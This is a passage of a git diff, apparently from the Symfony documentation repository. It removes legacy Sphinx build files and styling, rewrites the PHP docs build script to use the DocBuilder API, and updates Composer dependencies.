-jsx-lexer===0.0.8
-sphinx_rtd_theme==0.5.0
diff --git a/_build/Makefile b/_build/Makefile
deleted file mode 100644
index 25b660056fe..00000000000
--- a/_build/Makefile
+++ /dev/null
@@ -1,153 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS    =
-SPHINXBUILD   = sphinx-build
-PAPER         =
-BUILDDIR      = .
-
-# Internal variables.
-PAPEROPT_a4     = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS   = -c $(BUILDDIR) -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) ../
-# the i18n builder cannot share the environment and doctrees with the others
-I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
-
-.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
-
-help:
-	@echo "Please use \`make <target>' where <target> is one of"
-	@echo "  html       to make standalone HTML files"
-	@echo "  dirhtml    to make HTML files named index.html in directories"
-	@echo "  singlehtml to make a single large HTML file"
-	@echo "  pickle     to make pickle files"
-	@echo "  json       to make JSON files"
-	@echo "  htmlhelp   to make HTML files and a HTML help project"
-	@echo "  qthelp     to make HTML files and a qthelp project"
-	@echo "  devhelp    to make HTML files and a Devhelp project"
-	@echo "  epub       to make an epub"
-	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
-	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
-	@echo "  text       to make text files"
-	@echo "  man        to make manual pages"
-	@echo "  texinfo    to make Texinfo files"
-	@echo "  info       to make Texinfo files and run them through makeinfo"
-	@echo "  gettext    to make PO message catalogs"
-	@echo "  changes    to make an overview of all changed/added/deprecated items"
-	@echo "  linkcheck  to check all external links for integrity"
-	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
-
-clean:
-	-rm -rf $(BUILDDIR)/*
-
-html:
-	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
-
-dirhtml:
-	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
-
-singlehtml:
-	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
-	@echo
-	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
-
-pickle:
-	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
-	@echo
-	@echo "Build finished; now you can process the pickle files."
-
-json:
-	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
-	@echo
-	@echo "Build finished; now you can process the JSON files."
-
-htmlhelp:
-	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
-	@echo
-	@echo "Build finished; now you can run HTML Help Workshop with the" \
-	      ".hhp project file in $(BUILDDIR)/htmlhelp."
-
-qthelp:
-	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
-	@echo
-	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
-	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
-	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Symfony.qhcp"
-	@echo "To view the help file:"
-	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Symfony.qhc"
-
-devhelp:
-	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
-	@echo
-	@echo "Build finished."
-	@echo "To view the help file:"
-	@echo "# mkdir -p $$HOME/.local/share/devhelp/Symfony"
-	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Symfony"
-	@echo "# devhelp"
-
-epub:
-	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
-	@echo
-	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
-
-latex:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo
-	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
-	@echo "Run \`make' in that directory to run these through (pdf)latex" \
-	      "(use \`make latexpdf' here to do that automatically)."
-
-latexpdf:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo "Running LaTeX files through pdflatex..."
-	$(MAKE) -C $(BUILDDIR)/latex all-pdf
-	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
-
-text:
-	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
-	@echo
-	@echo "Build finished. The text files are in $(BUILDDIR)/text."
-
-man:
-	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
-	@echo
-	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
-
-texinfo:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo
-	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
-	@echo "Run \`make' in that directory to run these through makeinfo" \
-	      "(use \`make info' here to do that automatically)."
-
-info:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo "Running Texinfo files through makeinfo..."
-	make -C $(BUILDDIR)/texinfo info
-	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
-
-gettext:
-	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
-	@echo
-	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
-
-changes:
-	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
-	@echo
-	@echo "The overview file is in $(BUILDDIR)/changes."
-
-linkcheck:
-	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
-	@echo
-	@echo "Link check complete; look for any errors in the above output " \
-	      "or in $(BUILDDIR)/linkcheck/output.txt."
-
-doctest:
-	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
-	@echo "Testing of doctests in the sources finished, look at the " \
-	      "results in $(BUILDDIR)/doctest/output.txt."
diff --git a/_build/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/_build/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py
deleted file mode 100644
index 4a61e711809..00000000000
--- a/_build/_exts/symfonycom/sphinx/__init__.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from pygments.style import Style
-from pygments.token import Keyword, Name, Comment, String, Error, \
-     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal
-
-class SensioStyle(Style):
-    background_color = "#000000"
-    default_style = ""
-
-    styles = {
-        # No corresponding class for the following:
-        #Text: "", # class: ''
-        Whitespace: "underline #f8f8f8", # class: 'w'
-        Error: "#a40000 border:#ef2929", # class: 'err'
-        Other: "#ffffff", # class 'x'
-
-    Comment: "italic #B729D9", # class: 'c'
-    Comment.Single: "italic #B729D9", # class: 'c1'
-    Comment.Multiline: "italic #B729D9", # class: 'cm'
-    Comment.Preproc: "noitalic #aaa", # class: 'cp'
-
-    Keyword: "#FF8400", # class: 'k'
-        Keyword.Constant: "#FF8400", # class: 'kc'
-        Keyword.Declaration: "#FF8400", # class: 'kd'
-        Keyword.Namespace: "#FF8400", # class: 'kn'
-        Keyword.Pseudo: "#FF8400", # class: 'kp'
-        Keyword.Reserved: "#FF8400", # class: 'kr'
-        Keyword.Type: "#FF8400", # class: 'kt'
-
-    Operator: "#E0882F", # class: 'o'
-    Operator.Word: "#E0882F", # class: 'ow' - like keywords
-
-    Punctuation: "#999999", # class: 'p'
-
-        # because special names such as Name.Class, Name.Function, etc.
-        # are not recognized as such later in the parsing, we choose them
-        # to look the same as ordinary variables.
-        Name: "#ffffff", # class: 'n'
-    Name.Attribute: "#ffffff", # class: 'na' - to be revised
-    Name.Builtin: "#ffffff", # class: 'nb'
-        Name.Builtin.Pseudo: "#3465a4", # class: 'bp'
-    Name.Class: "#ffffff", # class: 'nc' - to be revised
-        Name.Constant: "#ffffff", # class: 'no' - to be revised
-        Name.Decorator: "#888", # class: 'nd' - to be revised
-        Name.Entity: "#ce5c00", # class: 'ni'
-        Name.Exception: "#cc0000", # class: 'ne'
-    Name.Function: "#ffffff", # class: 'nf'
-        Name.Property: "#ffffff", # class: 'py'
-        Name.Label: "#f57900", # class: 'nl'
-        Name.Namespace: "#ffffff", # class: 'nn' - to be revised
-    Name.Other: "#ffffff", # class: 'nx'
-    Name.Tag: "#cccccc", # class: 'nt' - like a keyword
-    Name.Variable: "#ffffff", # class: 'nv' - to be revised
-        Name.Variable.Class: "#ffffff", # class: 'vc' - to be revised
-        Name.Variable.Global: "#ffffff", # class: 'vg' - to be revised
-        Name.Variable.Instance: "#ffffff", # class: 'vi' - to be revised
-
-    Number: "#1299DA", # class: 'm'
-
-        Literal: "#ffffff", # class: 'l'
-        Literal.Date: "#ffffff", # class: 'ld'
-
-        String: "#56DB3A", # class: 's'
-        String.Backtick: "#56DB3A", # class: 'sb'
-        String.Char: "#56DB3A", # class: 'sc'
-    String.Doc: "italic #B729D9", # class: 'sd' - like a comment
-        String.Double: "#56DB3A", # class: 's2'
-        String.Escape: "#56DB3A", # class: 'se'
-        String.Heredoc: "#56DB3A", # class: 'sh'
-        String.Interpol: "#56DB3A", # class: 'si'
-        String.Other: "#56DB3A", # class: 'sx'
-        String.Regex: "#56DB3A", # class: 'sr'
-    String.Single: "#56DB3A", # class: 's1'
-        String.Symbol: "#56DB3A", # class: 'ss'
-
-        Generic: "#ffffff", # class: 'g'
-        Generic.Deleted: "#a40000", # class: 'gd'
-        Generic.Emph: "italic #ffffff", # class: 'ge'
-        Generic.Error: "#ef2929", # class: 'gr'
-        Generic.Heading: "#000080", # class: 'gh'
-        Generic.Inserted: "#00A000", # class: 'gi'
-        Generic.Output: "#888", # class: 'go'
-        Generic.Prompt: "#745334", # class: 'gp'
-        Generic.Strong: "bold #ffffff", # class: 'gs'
-        Generic.Subheading: "bold #800080", # class: 'gu'
-        Generic.Traceback: "bold #a40000", # class: 'gt'
-    }
diff --git a/_build/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py
deleted file mode 100644
index f1e87066236..00000000000
--- a/_build/_exts/symfonycom/sphinx/lexer.py
+++ /dev/null
@@ -1,23 +0,0 @@
-from pygments.lexer import RegexLexer, bygroups, using
-from pygments.token import *
-from pygments.lexers.shell import BashLexer, BatchLexer
-
-class TerminalLexer(RegexLexer):
-    name = 'Terminal'
-    aliases = ['terminal']
-    filenames = []
-
-    tokens = {
-        'root': [
-            ('^\$', Generic.Prompt, 'bash-prompt'),
-            ('^>', Generic.Prompt, 'dos-prompt'),
-            ('^#.+$', Comment.Single),
-            ('^.+$', Generic.Output),
-        ],
-        'bash-prompt': [
-            ('(.+)$', bygroups(using(BashLexer)), '#pop')
-        ],
-        'dos-prompt': [
-            ('(.+)$', bygroups(using(BatchLexer)), '#pop')
-        ],
-    }
diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css
deleted file mode 100644
index 01298437755..00000000000
--- a/_build/_static/rtd_custom.css
+++ /dev/null
@@ -1,23 +0,0 @@
-body {
-	font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important;
-}
-
-h1, h2, h3, h4, h5, h6 {
-	font-family:Georgia,Times New Roman,Times,serif !important;
-	line-height:1.2 !important;
-	margin-top:0 !important;
-	margin-bottom:.5em !important;
-}
-p, .rst-content li{
-	font-size:14px !important;
-	line-height:1.45 !important;
-}
-.wy-menu-vertical a {
-	font-size:14px !important;
-	padding-right:0 !important;
-}
-
-.highlight {
-	background:#1e2125 !important;
-    color:#fafafa !important;
-}
diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg
deleted file mode 100644
index 828c2b297b0..00000000000
--- a/_build/_static/symfony-logo.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg>
\ No newline at end of file
diff --git a/_build/build.php b/_build/build.php
index 9dba64d5145..b17e3e984be 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -5,39 +5,52 @@
 use Symfony\Component\Console\Application;
 use Symfony\Component\Console\Input\InputInterface;
 use Symfony\Component\Console\Output\OutputInterface;
-use Symfony\Component\Process\Process;
-use Symfony\Component\Process\Exception\ProcessFailedException;
 use Symfony\Component\Console\Input\InputOption;
+use Symfony\Component\Console\Style\SymfonyStyle;
+use SymfonyDocsBuilder\BuildConfig;
+use SymfonyDocsBuilder\DocBuilder;
 
 (new Application('Symfony Docs Builder', '1.0'))
     ->register('build-docs')
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
-        $command = [
-            'php',
-            'vendor/symfony/docs-builder/bin/console',
-            'build:docs',
-            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
-            __DIR__.'/../',
-            __DIR__.'/output/',
-        ];
-
-        if ($input->getOption('generate-fjson-files')) {
-            $command[] = '--output-json';
+        $io = new SymfonyStyle($input, $output);
+        $io->text('Building all Symfony Docs...');
+
+        $outputDir = __DIR__.'/output';
+        $buildConfig = (new BuildConfig())
+            ->setSymfonyVersion('4.4')
+            ->setContentDir(__DIR__.'/..')
+            ->setOutputDir($outputDir)
+            ->setImagesDir(__DIR__.'/output/_images')
+            ->setImagesPublicPrefix('_images')
+            ->setTheme('rtd')
+        ;
+
+        $buildConfig->setExcludedPaths(['.github/', '_build/']);
+
+        if (!$generateJsonFiles = $input->getOption('generate-fjson-files')) {
+            $buildConfig->disableJsonFileGeneration();
         }
 
-        if ($input->getOption('disable-cache')) {
-            $command[] = '--disable-cache';
+        if ($isCacheDisabled = $input->getOption('disable-cache')) {
+            $buildConfig->disableBuildCache();
         }
 
-        $process = new Process($command);
-        $process->setTimeout(3600);
+        $io->comment(sprintf('cache: %s / output file type(s): %s', $isCacheDisabled ? 'disabled' : 'enabled', $generateJsonFiles ? 'HTML and JSON' : 'HTML'));
+        if (!$isCacheDisabled) {
+            $io->comment('Tip: add the --disable-cache option to this command to force the re-build of all docs.');
+        }
 
-        $this->getHelper('process')->run($output, $process);
+        $result = (new DocBuilder())->build($buildConfig);
 
-        if (!$process->isSuccessful()) {
-            throw new ProcessFailedException($process);
+        if ($result->isSuccessful()) {
+            $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
+        } else {
+            $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
+            $io->newLine();
+            $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
         }
     })
     ->getApplication()
diff --git a/_build/composer.json b/_build/composer.json
index ea0ef4eee25..fd7ec177c15 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,12 +1,9 @@
 {
     "minimum-stability": "dev",
     "prefer-stable": true,
-    "repositories": [
-        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
-    ],
     "config": {
         "platform": {
-            "php": "7.2.9"
+            "php": "7.4.14"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +11,9 @@
         "sort-packages": true
     },
     "require": {
-        "php": ">=7.2.9",
-        "symfony/console": "^4.1",
-        "symfony/docs-builder": "dev-master",
-        "symfony/process": "9999999-dev"
+        "php": ">=7.4",
+        "symfony/console": "^5.4",
+        "symfony/process": "^5.4",
+        "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 8a5ab63dcb7..4f77182d8c4 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
+    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,34 +102,39 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "dev-master",
+            "version": "0.4.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1",
-                "symfony/filesystem": "^4.1|^5.0",
-                "twig/twig": "^2.9.0"
+                "php": "^7.2 || ^8.0",
+                "symfony/filesystem": "^4.1 || ^5.0",
+                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/polyfill-mbstring": "^1.0",
+                "symfony/string": "^5.3",
+                "symfony/translation-contracts": "^1.1 || ^2.0",
+                "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
+                "doctrine/coding-standard": "^8.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.10",
-                "phpstan/phpstan-deprecation-rules": "^0.10",
-                "phpstan/phpstan-phpunit": "^0.10",
-                "phpstan/phpstan-strict-rules": "^0.10",
-                "phpunit/phpunit": "^7.0"
+                "phpstan/phpstan": "^0.12",
+                "phpstan/phpstan-deprecation-rules": "^0.12",
+                "phpstan/phpstan-phpunit": "^0.12",
+                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
+                "symfony/css-selector": "4.4 || ^5.2",
+                "symfony/dom-crawler": "4.4 || ^5.2"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -164,234 +169,28 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/master"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
             },
-            "time": "2020-10-26T13:37:24+00:00"
-        },
-        {
-            "name": "guzzlehttp/guzzle",
-            "version": "6.5.5",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "shasum": ""
-            },
-            "require": {
-                "ext-json": "*",
-                "guzzlehttp/promises": "^1.0",
-                "guzzlehttp/psr7": "^1.6.1",
-                "php": ">=5.5",
-                "symfony/polyfill-intl-idn": "^1.17.0"
-            },
-            "require-dev": {
-                "ext-curl": "*",
-                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
-                "psr/log": "^1.1"
-            },
-            "suggest": {
-                "psr/log": "Required for using the Log middleware"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "6.5-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle is a PHP HTTP client library",
-            "homepage": "http://guzzlephp.org/",
-            "keywords": [
-                "client",
-                "curl",
-                "framework",
-                "http",
-                "http client",
-                "rest",
-                "web service"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/guzzle/issues",
-                "source": "https://github.com/guzzle/guzzle/tree/6.5"
-            },
-            "time": "2020-06-16T21:01:06+00:00"
-        },
-        {
-            "name": "guzzlehttp/promises",
-            "version": "1.4.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/promises.git",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.5"
-            },
-            "require-dev": {
-                "symfony/phpunit-bridge": "^4.4 || ^5.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.4-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Promise\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle promises library",
-            "keywords": [
-                "promise"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/1.4.0"
-            },
-            "time": "2020-09-30T07:37:28+00:00"
-        },
-        {
-            "name": "guzzlehttp/psr7",
-            "version": "1.7.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/psr7.git",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.4.0",
-                "psr/http-message": "~1.0",
-                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
-            },
-            "provide": {
-                "psr/http-message-implementation": "1.0"
-            },
-            "require-dev": {
-                "ext-zlib": "*",
-                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
-            },
-            "suggest": {
-                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.7-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Psr7\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                },
-                {
-                    "name": "Tobias Schultze",
-                    "homepage": "https://github.com/Tobion"
-                }
-            ],
-            "description": "PSR-7 message implementation that also provides common utility methods",
-            "keywords": [
-                "http",
